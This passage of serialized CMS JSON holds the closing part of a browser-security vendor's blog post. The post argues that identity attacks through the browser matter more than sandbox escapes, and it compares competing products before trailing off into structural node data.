identity attacks via the browser — phishing, credential theft, session hijacking, OAuth abuse, malicious browser extensions — is defending against the primary cause of enterprise breaches, one that is accelerating (cloud-conscious intrusions up 37% in 2025, browser-based attacks increasing at 68% of organizations over the past two years per Omdia) and increasingly automated through PhaaS infrastructure that gives low-skill attackers enterprise-grade capability for $1,000 a year.",{"data":42459,"content":42460,"nodeType":860},{},[42461],{"data":42462,"marks":42463,"value":42464,"nodeType":864},{},[],"There's also a forward-looking dimension. The threat landscape isn't moving toward more browser exploitation. It's moving further into identity abuse. AI-powered phishing lowers the social engineering barrier. Agentic browsers will automate credential stuffing and account takeover at a scale that wasn't previously possible. And attackers are already adapting to authentication improvements: device code phishing has increased 37x since the start of 2026, a technique specifically designed to circumvent passkeys by bypassing the authentication flow entirely — the attacker never encounters a login page. The investment in identity-centric browser detection compounds over time as the attack surface evolves in the same direction.",{"data":42466,"content":42470,"nodeType":996},{"target":42467},{"sys":42468},{"id":42469,"type":1001,"linkType":1002},"cQ6WPV2NMYvDMZXifqzK1",[],{"data":42472,"content":42473,"nodeType":1312},{},[42474],{"data":42475,"marks":42476,"value":42478,"nodeType":864},{},[42477],{"type":899},"The verdict",{"data":42480,"content":42481,"nodeType":860},{},[42482],{"data":42483,"marks":42484,"value":42485,"nodeType":864},{},[],"Browser security is a real and growing priority — according to Omdia Research, it is now a top-five priority for 88% of security leaders and the top priority for 26% of them. 85% expect their browser security spending to increase over the next 12–24 months. The question isn't whether to invest. It's what to invest in.",{"data":42487,"content":42488,"nodeType":860},{},[42489],{"data":42490,"marks":42491,"value":42492,"nodeType":864},{},[],"The browser is where your users work, where attackers target them, and where the identity attacks causing the majority of enterprise breaches play out. But not all browser security investments address the same problem.",{"data":42494,"content":42498,"nodeType":996},{"target":42495},{"sys":42496},{"id":42497,"type":1001,"linkType":1002},"4nGzT9cNG0Yid93uUCCuTt",[],{"data":42500,"content":42501,"nodeType":860},{},[42502],{"data":42503,"marks":42504,"value":42505,"nodeType":864},{},[],"Solutions like Seraphic are built to defend against a browser being exploited by an attacker trying to break out of the sandbox — an attack that represents a historic low as a share of enterprise incidents, and one that Google's own hardening and rapid patching increasingly mitigates automatically. SquareX is built around malware sandboxing — a legitimate but declining share of the initial access landscape, and a capability Zscaler's existing customers already partially have. LayerX focuses on internal governance rather than external threats.",{"data":42507,"content":42508,"nodeType":860},{},[42509],{"data":42510,"marks":42511,"value":42512,"nodeType":864},{},[],"Push Security is built to defend against the attacks that are behind the major breaches hitting the headlines: identity theft, credential abuse, session hijacking, and the full identity attack kill chain that plays out inside the browser every time an attacker logs in as your user. Every major threat intelligence report points to these as the primary breach vectors. The economics of attack choice guarantee they'll remain so.",{"data":42514,"content":42515,"nodeType":860},{},[42516],{"data":42517,"marks":42518,"value":42519,"nodeType":864},{},[],"The security team that deploys Push gets the greatest coverage of the highest-impact threats, on managed and unmanaged devices, with the lightest operational footprint. That is the browser security investment that moves the needle on real organizational risk — not the browser security investment that defends the software nobody's actually attacking.",{"data":42521,"content":42525,"nodeType":996},{"target":42522},{"sys":42523},{"id":42524,"type":1001,"linkType":1002},"3a2sEWgWKZulGLCFfODwk0",[],{"data":42527,"content":42528,"nodeType":860},{},[42529],{"data":42530,"marks":42531,"value":21,"nodeType":864},{},[],"How to avoid the browser security buyer's trap","Securing the browser vs. securing the organization via the browser — what's the difference?","how-to-avoid-the-browser-security-buyers-trap",{"items":42536},[42537,42539],{"sys":42538,"name":297},{"id":2732},{"sys":42540,"name":2729},{"id":2728},{"items":42542},[42543],{"fullName":4878,"firstName":4879,"jobTitle":851,"profilePicture":42544},{"url":4881},{"__typename":2059,"sys":42546,"content":42547,"title":6584,"synopsis":6585,"hashTags":59,"publishedDate":6586,"slug":6587,"tagsCollection":43256,"authorsCollection":43262},{"id":5746},{"json":42548},{"data":42549,"content":42550,"nodeType":856},{},[42551,42566,42581,42596,42601,42604,42611,42617,42623,42629,42635,42642,42645,42652,42658,42664,42670,42675,42682,42697,42703,42709,42722,42729,42753,42766,42772,42796,42803,42827,42833,42840,42855,42861,42867,42872,42878,42885,42900,42906,42922,42928,42931,42938,42944,43019,43025,43038,43041,43066,43081,43087,43093,43096,43103,43118,43124,43130,43145,43148,43155,43161,43191,43197,43212,43227,43232,43235,43241],{"data":42552,"content":42553,"nodeType":860},{},[42554,42557,42563],{"data":42555,"marks":42556,"value":5757,"nodeType":864},{},[],{"data":42558,"content":42559,"nodeType":883},{"uri":5760},[42560],{"data":42561,"marks":42562,"value":5765,"nodeType":864},{},[],{"data":42564,"marks":42565,"value":5769,"nodeType":864},{},[],{"data":42567,"content":42568,"nodeType":860},{},[42569,42572,42578],{"data":42570,"marks":42571,"value":5776,"nodeType":864},{},[],{"data":42573,"content":42574,"nodeType":883},{"uri":5779},[42575],{"data":42576,"marks":42577,"value":5784,"nodeType":864},{},[],{"data":42579,"marks":42580,"value":5788,"nodeType":864},{},[],{"data":42582,"content":42583,"nodeType":860},{},[42584,42587,42593],{"data":42585,"marks":42586,"value":5795,"nodeType":864},{},[],{"data":42588,"content":42589,"nodeType":883},{"uri":5243},[42590],{"data":42591,"marks":42592,"value":5248,"nodeType":864},{},[],{"data":42594,"marks":42595,"value":5805,"nodeType":864},{},[],{"data":42597,"content":42600,"nodeType":996},{"target":42598},{"sys":42599},{"id":5810,"type":1001,"linkType":1002},[],{"data":42602,"content":42603,"nodeType":1005},{},[],{"data":42605,"content":42606,"nodeType":1009},{},[42607],{"data":42608,"marks":42609,"value":5822,"nodeType":864},{},[42610],{"type":899},{"data":42612,"content":42613,"nodeType":860},{},[42614],{"data":42615,"marks":42616,"value":5829,"nodeType":864},{},[],{"data":42618,"content":42619,"nodeType":860},{},[42620],{"data":42621,"marks":42622,"value":5836,"nodeType":864},{},[],{"data":42624,"content":42625,"nodeType":860},{},[42626],{"data":42627,"marks":42628,"value":5843,"nodeType":864},{},[],{"data":42630,"content":42631,"nodeType":860},{},[42632],{"data":42633,"marks":42634,"value":5850,"nodeType":864},{},[],{"data":42636,"content":42637,"nodeType":860},{},[42638],{"data":42639,"marks":42640,"value":5858,"nodeType":864},{},[42641],{"type":899},{"data":42643,"content":42644,"nodeType":1005},{},[],{"data":42646,"content":42647,"nodeType":1009},{},[42648],{"data":42649,"marks":42650,"value":5869,"nodeType":864},{},[42651],{"type":899},{"data":42653,"content":42654,"nodeType":860},{},[42655],{"data":42656,"marks":42657,"value":5876,"nodeType":864},{},[],{"data":42659,"content":42660,"nodeType":860},{},[42661],{"data":42662,"marks":42663,"value":5883,"nodeType":864},{},[],{"data":42665,"content":42666,"nodeType":860},{},[42667],{"data":42668,"marks":42669,"value":5890,"nodeType":864},{},[],{"data":42671,"content":42674,"nodeType":996},{"target":42672},{"sys":42673},{"id":5895,"type":1001,"linkType":1002},[],{"data":42676,"content":42677,"nodeType":1312},{},[42678],{"data":42679,"marks":42680,"value":5904,"nodeType":864},{},[42681],{"type":899},{"data":42683,"content":42684,"nodeType":860},{},[42685,42688,42694],{"data":42686,"marks":42687,"value":5911,"nodeType":864},{},[],{"data":42689,"content":42690,"nodeType":883},{"uri":5914},[42691],{"data":42692,"marks":42693,"value":5919,"nodeType":864},{},[],{"data":42695,"marks":42696,"value":5923,"nodeType":864},{},[],{"data":42698,"content":42699,"nodeType":860},{},[42700],{"data":42701,"marks":42702,"value":5930,"nodeType":864},{},[],{"data":42704,"content":42705,"nodeType":860},{},[42706],{"data":42707,"marks":42708,"value":5937,"nodeType":864},{},[],{"data":42710,"content":42711,"nodeType":860},{},[42712,42715,42719],{"data":42713,"marks":42714,"value":5944,"nodeType":864},{},[],{"data":42716,"marks":42717,"value":5949,"nodeType":864},{},[42718],{"type":899},{"data":42720,"marks":42721,"value":5953,"nodeType":864},{},[],{"data":42723,"content":42724,"nodeType":1312},{},[42725],{"data":42726,"marks":42727,"value":5961,"nodeType":864},{},[42728],{"type":899},{"data":42730,"content":42731,"nodeType":860},{},[42732,42735,42741,42744,42750],{"data":42733,"marks":42734,"value":5968,"nodeType":864},{},[],{"data":42736,"content":42737,"nodeType":883},{"uri":5971},[42738],{"data":42739,"marks":42740,"value":5976,"nodeType":864},{},[],{"data":42742,"marks":42743,"value":5980,"nodeType":864},{},[],{"data":42745,"content":42746,"nodeType":883},{"uri":3237},[42747],{"data":42748,"marks":42749,"value":5987,"nodeType":864},{},[],{"data":42751,"marks":42752,"value":5991,"nodeType":864},{},[],{"data":42754,"content":42755,"nodeType":860},{},[42756,42759,42763],{"data":42757,"marks":42758,"value":5998,"nodeType":864},{},[],{"data":42760,"marks":42761,"value":6003,"nodeType":864},{},[42762],{"type":899},{"data":42764,"marks":42765,"value":6007,"nodeType":864},{},[],{"data":42767,"content":42768,"nodeType":860},{},[42769],{"data":42770,"marks":42771,"value":6014,"nodeType":864},{},[],{"data":42773,"content":42774,"nodeType":860},{},[42775,42778,42784,42787,42793],{"data":42776,"marks":42777,"value":6021,"nodeType":864},{},[],{"data":42779,"content":42780,"nodeType":883},{"uri":6024},[42781],{"data":42782,"marks":42783,"value":6029,"nodeType":864},{},[],{"data":42785,"marks":42786,"value":6033,"nodeType":864},{},[],{"data":42788,"content":42789,"nodeType":883},{"uri":6036},[42790],{"data":42791,"marks":42792,"value":6041,"nodeType":864},{},[],{"data":42794,"marks":42795,"value":6045,"nodeType":864},{},[],{"data":42797,"content":42798,"nodeType":1312},{},[42799],{"data":42800,"marks":42801,"value":6053,"nodeType":864},{},[42802],{"type":899},{"data":42804,"content":42805,"nodeType":860},{},[42806,42809,42815,42818,42824],{"data":42807,"marks":42808,"value":6060,"nodeType":864},{},[],{"data":42810,"content":42811,"nodeType":883},{"uri":6063},[42812],{"data":42813,"marks":42814,"value":6068,"nodeType":864},{},[],{"data":42816,"marks":42817,"value":6072,"nodeType":864},{},[],{"data":42819,"content":42820,"nodeType":883},{"uri":6075},[42821],{"data":42822,"marks":42823,"value":6080,"nodeType":864},{},[],{"data":42825,"marks":42826,"value":6084,"nodeType":864},{},[],{"data":42828,"content":42829,"nodeType":860},{},[42830],{"data":42831,"marks":42832,"value":6091,"nodeType":864},{},[],{"data":42834,"content":42835,"nodeType":1312},{},[42836],{"data":42837,"marks":42838,"value":6099,"nodeType":864},{},[42839],{"type":899},{"data":42841,"content":42842,"nodeType":860},{},[42843,42846,42852],{"data":42844,"marks":42845,"value":6106,"nodeType":864},{},[],{"data":42847,"content":42848,"nodeType":883},{"uri":3259},[42849],{"data":42850,"marks":42851,"value":6113,"nodeType":864},{},[],{"data":42853,"marks":42854,"value":6117,"nodeType":864},{},[],{"data":42856,"content":42857,"nodeType":860},{},[42858],{"data":42859,"marks":42860,"value":6124,"nodeType":864},{},[],{"data":42862,"content":42863,"nodeType":860},{},[42864],{"data":42865,"marks":42866,"value":6131,"nodeType":864},{},[],{"data":42868,"content":42871,"nodeType":996},{"target":42869},{"sys":42870},{"id":6136,"type":1001,"linkType":1002},[],{"data":42873,"content":42874,"nodeType":860},{},[42875],{"data":42876,"marks":42877,"value":6144,"nodeType":864},{},[],{"data":42879,"content":42880,"nodeType":1312},{},[42881],{"data":42882,"marks":42883,"value":6152,"nodeType":864},{},[42884],{"type":899},{"data":42886,"content":42887,"nodeType":860},{},[42888,42891,42897],{"data":42889,"marks":42890,"value":6159,"nodeType":864},{},[],{"data":42892,"content":42893,"nodeType":883},{"uri":2411},[42894],{"data":42895,"marks":42896,"value":6166,"nodeType":864},{},[],{"data":42898,"marks":42899,"value":6170,"nodeType":864},{},[],{"data":42901,"content":42902,"nodeType":860},{},[42903],{"data":42904,"marks":42905,"value":6177,"nodeType":864},{},[],{"data":42907,"content":42908,"nodeType":860},{},[42909,42912,42919],{"data":42910,"marks":42911,"value":6184,"nodeType":864},{},[],{"data":42913,"content":42914,"nodeType":883},{"uri":2411},[42915],{"data":42916,"marks":42917,"value":6192,"nodeType":864},{},[42918],{"type":1455},{"data":42920,"marks":42921,"value":6196,"nodeType":864},{},[],{"data":42923,"content":42924,"nodeType":860},{},[42925],{"data":42926,"marks":42927,"value":6203,"nodeType":864},{},[],{"data":42929,"content":42930,"nodeType":1005},{},[],{"data":42932,"content":42933,"nodeType":1009},{},[42934],{"data":42935,"marks":42936,"value":6214,"nodeType":864},{},[42937],{"type":899},{"data":42939,"content":42940,"nodeType":860},{},[42941],{"data":42942,"marks":42943,"value":6221,"nodeType":864},{},[],{"data":42945,"content":42946,"nodeType":941},{},[42947,42965,42983,43001],{"data":42948,"content":42949,"nodeType":945},{},[42950],{"data":42951,"content":42952,"nodeType":860},{},[42953,42956,42962],{"data":42954,"marks":42955,"value":6234,"nodeType":864},{},[],{"data":42957,"content":42958,"nodeType":883},{"uri":6237},[42959],{"data":42960,"marks":42961,"value":6242,"nodeType":864},{},[],{"data":42963,"marks":42964,"value":6246,"nodeType":864},{},[],{"data":42966,"content":42967,"nodeType":945},{},[42968],{"data":42969,"content":42970,"nodeType":860},{},[42971,42974,42980],{"data":42972,"marks":42973,"value":6256,"nodeType":864},{},[],{"data":42975,"content":42976,"nodeType":883},{"uri":6259},[42977],{"data":42978,"marks":42979,"value":6264,"nodeType":864},{},[],{"data":42981,"marks":42982,"value":6268,"nodeType":864},{},[],{"data":42984,"content":42985,"nodeType":945},{},[42986],{"data":42987,"content":42988,"nodeType":860},{},[42989,42992,42998],{"data":42990,"marks":42991,"value":6234,"nodeType":864},{},[],{"data":42993,"content":42994,"nodeType":883},{"uri":6036},[42995],{"data":42996,"marks":42997,"value":6284,"nodeType":864},{},[],{"data":42999,"marks":43000,"value":6288,"nodeType":864},{},[],{"data":43002,"content":43003,"nodeType":945},{},[43004],{"data":43005,"content":43006,"nodeType":860},{},[43007,43010,43016],{"data":43008,"marks":43009,"value":2761,"nodeType":864},{},[],{"data":43011,"content":43012,"nodeType":883},{"uri":6300},[43013],{"data":43014,"marks":43015,"value":3756,"nodeType":864},{},[],{"data":43017,"marks":43018,"value":6308,"nodeType":864},{},[],{"data":43020,"content":43021,"nodeType":860},{},[43022],{"data":43023,"marks":43024,"value":6315,"nodeType":864},{},[],{"data":43026,"content":43027,"nodeType":860},{},[43028,43031,43035],{"data":43029,"marks":43030,"value":6322,"nodeType":864},{},[],{"data":43032,"marks":43033,"value":6327,"nodeType":864},{},[43034],{"type":899},{"data":43036,"marks":43037,"value":6331,"nodeType":864},{},[],{"data":43039,"content":43040,"nodeType":1005},{},[],{"data":43042,"content":43043,"nodeType":1009},{},[43044,43048,43053,43057,43062],{"data":43045,"marks":43046,"value":6342,"nodeType":864},{},[43047],{"type":899},{"data":43049,"marks":43050,"value":6348,"nodeType":864},{},[43051,43052],{"type":2246},{"type":899},{"data":43054,"marks":43055,"value":6353,"nodeType":864},{},[43056],{"type":899},{"data":43058,"marks":43059,"value":6359,"nodeType":864},{},[43060,43061],{"type":2246},{"type":899},{"data":43063,"marks":43064,"value":6364,"nodeType":864},{},[43065],{"type":899},{"data":43067,"content":43068,"nodeType":860},{},[43069,43072,43078],{"data":43070,"marks":43071,"value":6371,"nodeType":864},{},[],{"data":43073,"content":43074,"nodeType":883},{"uri":6374},[43075],{"data":43076,"marks":43077,"value":6379,"nodeType":864},{},[],{"data":43079,"marks":43080,"value":6383,"nodeType":864},{},[],{"data":43082,"content":43083,"nodeType":860},{},[43084],{"data":43085,"marks":43086,"value":6390,"nodeType":864},{},[],{"data":43088,"content":43089,"nodeType":860},{},[43090],{"data":43091,"marks":43092,"value":6397,"nodeType":864},{},[],{"data":43094,"content":43095,"nodeType":1005},{},[],{"data":43097,"content":43098,"nodeType":1009},{},[43099],{"data":43100,"marks":43101,"value":6408,"nodeType":864},{},[43102],{"type":899},{"data":43104,"content":43105,"nodeType":860},{},[43106,43109,43115],{"data":43107,"marks":43108,"value":6415,"nodeType":864},{},[],{"data":43110,"content":43111,"nodeType":883},{"uri":6418},[43112],{"data":43113,"marks":43114,"value":6423,"nodeType":864},{},[],{"data":43116,"marks":43117,"value":6427,"nodeType":864},{},[],{"data":43119,"content":43120,"nodeType":860},{},[43121],{"data":43122,"marks":43123,"value":6434,"nodeType":864},{},[],{"data":43125,"content":43126,"nodeType":860},{},[43127],{"data":43128,"marks":43129,"value":6441,"nodeType":864},{},[],{"data":43131,"content":43132,"nodeType":860},{},[43133,43136,43142],{"data":43134,"marks":43135,"value":6448,"nodeType":864},{},[],{"data":43137,"content":43138,"nodeType":883},{"uri":6451},[43139],{"data":43140,"marks":43141,"value":6423,"nodeType":864},{},[],{"data":43143,"marks":43144,"value":2924,"nodeType":864},{},[],{"data":43146,"content":43147,"nodeType":1005},{},[],{"data":43149,"content":43150,"nodeType":1009},{},[43151],{"data":43152,"marks":43153,"value":6469,"nodeType":864},{},[43154],{"type":899},{"data":43156,"content":43157,"nodeType":860},{},[43158],{"data":43159,"marks":43160,"value":6476,"nodeType":864},{},[],{"data":43162,"content":43163,"nodeType":941},{},[43164,43173,43182],{"data":43165,"content":43166,"nodeType":945},{},[43167],{"data":43168,"content":43169,"nodeType":860},{},[43170],{"data":43171,"marks":43172,"value":6489,"nodeType":864},{},[],{"data":43174,"content":43175,"nodeType":945},{},[43176],{"data":43177,"content":43178,"nodeType":860},{},[43179],{"data":43180,"marks":43181,"value":6499,"nodeType":864},{},[],{"data":43183,"content":43184,"nodeType":945},{},[43185],{"data":43186,"content":43187,"nodeType":860},{},[43188],{"data":43189,"marks":43190,"value":6509,"nodeType":864},{},[],{"data":43192,"content":43193,"nodeType":860},{},[43194],{"data":43195,"marks":43196,"value":6516,"nodeType":864},{},[],{"data":43198,"content":43199,"nodeType":860},{},[43200,43203,43209],{"data":43201,"marks":43202,"value":6523,"nodeType":864},{},[],{"data":43204,"content":43205,"nodeType":883},{"uri":5243},[43206],{"data":43207,"marks":43208,"value":6530,"nodeType":864},{},[],{"data":43210,"marks":43211,"value":2924,"nodeType":864},{},[],{"data":43213,"content":43214,"nodeType":860},{},[43215,43218,43224],{"data":43216,"marks":43217,"value":6540,"nodeType":864},{},[],{"data":43219,"content":43220,"nodeType":883},{"uri":6543},[43221],{"data":43222,"marks":43223,"value":6548,"nodeType":864},{},[],{"data":43225,"marks":43226,"value":6552,"nodeType":864},{},[],{"data":43228,"content":43231,"nodeType":996},{"target":43229},{"sys":43230},{"id":6557,"type":1001,"linkType":1002},[],{"data":43233,"content":43234,"nodeType":1005},{},[],{"data":43236,"content":43237,"nodeType":860},{},[43238],{"data":43239,"marks":43240,"value":6568,"nodeType":864},{},[],{"data":43242,"content":43243,"nodeType":860},{},[43244,43247,43253],{"data":43245,"marks":43246,"value":2707,"nodeType":864},{},[],{"data":43248,"content":43249,"nodeType":883},{"uri":1700},[43250],{"data":43251,"marks":43252,"value":2715,"nodeType":864},{},[],{"data":43254,"marks":43255,"value":2719,"nodeType":864},{},[],{"items":43257},[43258,43260],{"sys":43259,"name":6593},{"id":6592},{"sys":43261,"name":342},{"id":6596},{"items":43263},[43264],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":43265},{"url":2740},{"__typename":2059,"sys":43267,"content":43268,"title":4865,"synopsis":4866,"hashTags":59,"publishedDate":4867,"slug":4868,"tagsCollection":44337,"authorsCollection":44343},{"id":3628},{"json":43269},{"data":43270,"content":43271,"nodeType":856},{},[43272,43285,43290,43296,43302,43307,43310,43317,43324,43339,43377,43382,43395,43398,43405,43412,43434,43466,43472,43475,43482,43489,43495,43500,43506,43509,43516,43523,43557,43587,43593,43596,43603,43610,43630,43636,43675,43681,43684,43691,43698,43734,43740,43745,43748,43755,43762,43788,43794,43799,43805,43808,43815,43822,43845,43851,43857,43863,43866,43873,43880,43886,43891,43897,43918,43941,43944,43951,43958,43964,43970,43973,43980,44035,44038,44045,44051,44319,44322],{"data":43273,"content":43274,"nodeType":860},{},[43275,43278,43282],{"data":43276,"marks":43277,"value":3639,"nodeType":864},{},[],{"data":43279,"marks":43280,"value":3644,"nodeType":864},{},[43281],{"type":899},{"data":43283,"marks":43284,"value":3648,"nodeType":864},{},[],{"data":43286,"content":43289,"nodeType":996},{"target":43287},{"sys":43288},{"id":3653,"type":1001,"linkType":1002},[],{"data":43291,"content":43292,"nodeType":860},{},[43293],{"data":43294,"marks":43295,"value":3661,"nodeType":864},{},[],{"data":43297,"content":43298,"nodeType":860},{},[43299],{"data":43300,"marks":43301,"value":3668,"nodeType":864},{},[],{"data":43303,"content":43306,"nodeType":996},{"target":43304},{"sys":43305},{"id":3673,"type":1001,"linkType":1002},[],{"data":43308,"content":43309,"nodeType":1005},{},[],{"data":43311,"content":43312,"nodeType":1009},{},[43313],{"data":43314,"marks":43315,"value":3685,"nodeType":864},{},[43316],{"type":899},{"data":43318,"content":43319,"nodeType":860},{},[43320],{"data":43321,"marks":43322,"value":3693,"nodeType":864},{},[43323],{"type":899},{"data":43325,"content":43326,"nodeType":860},{},[43327,43330,43336],{"data":43328,"marks":43329,"value":3700,"nodeType":864},{},[],{"data":43331,"content":43332,"nodeType":883},{"uri":3703},[43333],{"data":43334,"marks":43335,"value":3708,"nodeType":864},{},[],{"data":43337,"marks":43338,"value":3712,"nodeType":864},{},[],{"data":43340,"content":43341,"nodeType":860},{},[43342,43345,43351,43354,43358,43361,43365,43368,43374],{"data":43343,"marks":43344,"value":3719,"nodeType":864},{},[],{"data":43346,"content":43347,"nodeType":883},{"uri":3722},[43348],{"data":43349,"marks":43350,"value":3727,"nodeType":864},{},[],{"data":43352,"marks":43353,"value":3731,"nodeType":864},{},[],{"data":43355,"marks":43356,"value":3736,"nodeType":864},{},[43357],{"type":899},{"data":43359,"marks":43360,"value":2232,"nodeType":864},{},[],{"data":43362,"marks":43363,"value":3744,"nodeType":864},{},[43364],{"type":899},{"data":43366,"marks":43367,"value":3748,"nodeType":864},{},[],{"data":43369,"content":43370,"nodeType":883},{"uri":3751},[43371],{"data":43372,"marks":43373,"value":3756,"nodeType":864},{},[],{"data":43375,"marks":43376,"value":3760,"nodeType":864},{},[],{"data":43378,"content":43381,"nodeType":996},{"target":43379},{"sys":43380},{"id":3765,"type":1001,"linkType":1002},[],{"data":43383,"content":43384,"nodeType":860},{},[43385,43388,43392],{"data":43386,"marks":43387,"value":3773,"nodeType":864},{},[],{"data":43389,"marks":43390,"value":3778,"nodeType":864},{},[43391],{"type":899},{"data":43393,"marks":43394,"value":2924,"nodeType":864},{},[],{"data":43396,"content":43397,"nodeType":1005},{},[],{"data":43399,"content":43400,"nodeType":1009},{},[43401],{"data":43402,"marks":43403,"value":3792,"nodeType":864},{},[43404],{"type":899},{"data":43406,"content":43407,"nodeType":860},{},[43408],{"data":43409,"marks":43410,"value":3693,"nodeType":864},{},[43411],{"type":899},{"data":43413,"content":43414,"nodeType":860},{},[43415,43418,43424,43427,43431],{"data":43416,"marks":43417,"value":3806,"nodeType":864},{},[],{"data":43419,"content":43420,"nodeType":883},{"uri":3809},[43421],{"data":43422,"marks":43423,"value":3814,"nodeType":864},{},[],{"data":43425,"marks":43426,"value":3818,"nodeType":864},{},[],{"data":43428,"marks":43429,"value":3823,"nodeType":864},{},[43430],{"type":899},{"data":43432,"marks":43433,"value":3827,"nodeType":864},{},[],{"data":43435,"content":43436,"nodeType":860},{},[43437,43440,43446,43449,43453,43456,43463],{"data":43438,"marks":43439,"value":3834,"nodeType":864},{},[],{"data":43441,"content":43442,"nodeType":883},{"uri":3837},[43443],{"data":43444,"marks":43445,"value":3842,"nodeType":864},{},[],{"data":43447,"marks":43448,"value":3846,"nodeType":864},{},[],{"data":43450,"marks":43451,"value":3851,"nodeType":864},{},[43452],{"type":899},{"data":43454,"marks":43455,"value":3855,"nodeType":864},{},[],{"data":43457,"content":43458,"nodeType":883},{"uri":3858},[43459],{"data":43460,"marks":43461,"value":3864,"nodeType":864},{},[43462],{"type":899},{"data":43464,"marks":43465,"value":3868,"nodeType":864},{},[],{"data":43467,"content":43468,"nodeType":860},{},[43469],{"data":43470,"marks":43471,"value":3875,"nodeType":864},{},[],{"data":43473,"content":43474,"nodeType":1005},{},[],{"data":43476,"content":43477,"nodeType":1009},{},[43478],{"data":43479,"marks":43480,"value":3886,"nodeType":864},{},[43481],{"type":899},{"data":43483,"content":43484,"nodeType":860},{},[43485],{"data":43486,"marks":43487,"value":3894,"nodeType":864},{},[43488],{"type":899},{"data":43490,"content":43491,"nodeType":860},{},[43492],{"data":43493,"marks":43494,"value":3901,"nodeType":864},{},[],{"data":43496,"content":43499,"nodeType":996},{"target":43497},{"sys":43498},{"id":3906,"type":1001,"linkType":1002},[],{"data":43501,"content":43502,"nodeType":860},{},[43503],{"data":43504,"marks":43505,"value":3914,"nodeType":864},{},[],{"data":43507,"content":43508,"nodeType":1005},{},[],{"data":43510,"content":43511,"nodeType":1009},{},[43512],{"data":43513,"marks":43514,"value":3925,"nodeType":864},{},[43515],{"type":899},{"data":43517,"content":43518,"nodeType":860},{},[43519],{"data":43520,"marks":43521,"value":3894,"nodeType":864},{},[43522],{"type":899},{"data":43524,"content":43525,"nodeType":860},{},[43526,43529,43536,43539,43545,43548,43554],{"data":43527,"marks":43528,"value":3939,"nodeType":864},{},[],{"data":43530,"content":43531,"nodeType":883},{"uri":3942},[43532],{"data":43533,"marks":43534,"value":3948,"nodeType":864},{},[43535],{"type":1455},{"data":43537,"marks":43538,"value":3731,"nodeType":864},{},[],{"data":43540,"content":43541,"nodeType":883},{"uri":3954},[43542],{"data":43543,"marks":43544,"value":3959,"nodeType":864},{},[],{"data":43546,"marks":43547,"value":3731,"nodeType":864},{},[],{"data":43549,"content":43550,"nodeType":883},{"uri":3965},[43551],{"data":43552,"marks":43553,"value":3970,"nodeType":864},{},[],{"data":43555,"marks":43556,"value":3974,"nodeType":864},{},[],{"data":43558,"content":43559,"nodeType":860},{},[43560,43563,43570,43573,43577,43580,43584],{"data":43561,"marks":43562,"value":21,"nodeType":864},{},[],{"data":43564,"content":43565,"nodeType":883},{"uri":2411},[43566],{"data":43567,"marks":43568,"value":3988,"nodeType":864},{},[43569],{"type":1455},{"data":43571,"marks":43572,"value":3992,"nodeType":864},{},[],{"data":43574,"marks":43575,"value":3997,"nodeType":864},{},[43576],{"type":899},{"data":43578,"marks":43579,"value":4001,"nodeType":864},{},[],{"data":43581,"marks":43582,"value":4006,"nodeType":864},{},[43583],{"type":2246},{"data":43585,"marks":43586,"value":4010,"nodeType":864},{},[],{"data":43588,"content":43589,"nodeType":860},{},[43590],{"data":43591,"marks":43592,"value":4017,"nodeType":864},{},[],{"data":43594,"content":43595,"nodeType":1005},{},[],{"data":43597,"content":43598,"nodeType":1009},{},[43599],{"data":43600,"marks":43601,"value":4028,"nodeType":864},{},[43602],{"type":899},{"data":43604,"content":43605,"nodeType":860},{},[43606],{"data":43607,"marks":43608,"value":3894,"nodeType":864},{},[43609],{"type":899},{"data":43611,"content":43612,"nodeType":860},{},[43613,43616,43620,43623,43627],{"data":43614,"marks":43615,"value":4042,"nodeType":864},{},[],{"data":43617,"marks":43618,"value":4047,"nodeType":864},{},[43619],{"type":2246},{"data":43621,"marks":43622,"value":4051,"nodeType":864},{},[],{"data":43624,"marks":43625,"value":4056,"nodeType":864},{},[43626],{"type":2246},{"data":43628,"marks":43629,"value":4060,"nodeType":864},{},[],{"data":43631,"content":43632,"nodeType":860},{},[43633],{"data":43634,"marks":43635,"value":4067,"nodeType":864},{},[],{"data":43637,"content":43638,"nodeType":941},{},[43639,43657],{"data":43640,"content":43641,"nodeType":945},{},[43642],{"data":43643,"content":43644,"nodeType":860},{},[43645,43648,43654],{"data":43646,"marks":43647,"value":2761,"nodeType":864},{},[],{"data":43649,"content":43650,"nodeType":883},{"uri":4082},[43651],{"data":43652,"marks":43653,"value":4087,"nodeType":864},{},[],{"data":43655,"marks":43656,"value":4091,"nodeType":864},{},[],{"data":43658,"content":43659,"nodeType":945},{},[43660],{"data":43661,"content":43662,"nodeType":860},{},[43663,43666,43672],{"data":43664,"marks":43665,"value":2761,"nodeType":864},{},[],{"data":43667,"content":43668,"nodeType":883},{"uri":4103},[43669],{"data":43670,"marks":43671,"value":4108,"nodeType":864},{},[],{"data":43673,"marks":43674,"value":4112,"nodeType":864},{},[],{"data":43676,"content":43677,"nodeType":860},{},[43678],{"data":43679,"marks":43680,"value":4119,"nodeType":864},{},[],{"data":43682,"content":43683,"nodeType":1005},{},[],{"data":43685,"content":43686,"nodeType":1009},{},[43687],{"data":43688,"marks":43689,"value":4130,"nodeType":864},{},[43690],{"type":899},{"data":43692,"content":43693,"nodeType":860},{},[43694],{"data":43695,"marks":43696,"value":4138,"nodeType":864},{},[43697],{"type":899},{"data":43699,"content":43700,"nodeType":860},{},[43701,43704,43708,43711,43717,43720,43724,43727,43731],{"data":43702,"marks":43703,"value":4145,"nodeType":864},{},[],{"data":43705,"marks":43706,"value":4150,"nodeType":864},{},[43707],{"type":899},{"data":43709,"marks":43710,"value":4154,"nodeType":864},{},[],{"data":43712,"content":43713,"nodeType":883},{"uri":3237},[43714],{"data":43715,"marks":43716,"value":4161,"nodeType":864},{},[],{"data":43718,"marks":43719,"value":4165,"nodeType":864},{},[],{"data":43721,"marks":43722,"value":4170,"nodeType":864},{},[43723],{"type":899},{"data":43725,"marks":43726,"value":4174,"nodeType":864},{},[],{"data":43728,"marks":43729,"value":4179,"nodeType":864},{},[43730],{"type":899},{"data":43732,"marks":43733,"value":4183,"nodeType":864},{},[],{"data":43735,"content":43736,"nodeType":860},{},[43737],{"data":43738,"marks":43739,"value":4190,"nodeType":864},{},[],{"data":43741,"content":43744,"nodeType":996},{"target":43742},{"sys":43743},{"id":4195,"type":1001,"linkType":1002},[],{"data":43746,"content":43747,"nodeType":1005},{},[],{"data":43749,"content":43750,"nodeType":1009},{},[43751],{"data":43752,"marks":43753,"value":4207,"nodeType":864},{},[43754],{"type":899},{"data":43756,"content":43757,"nod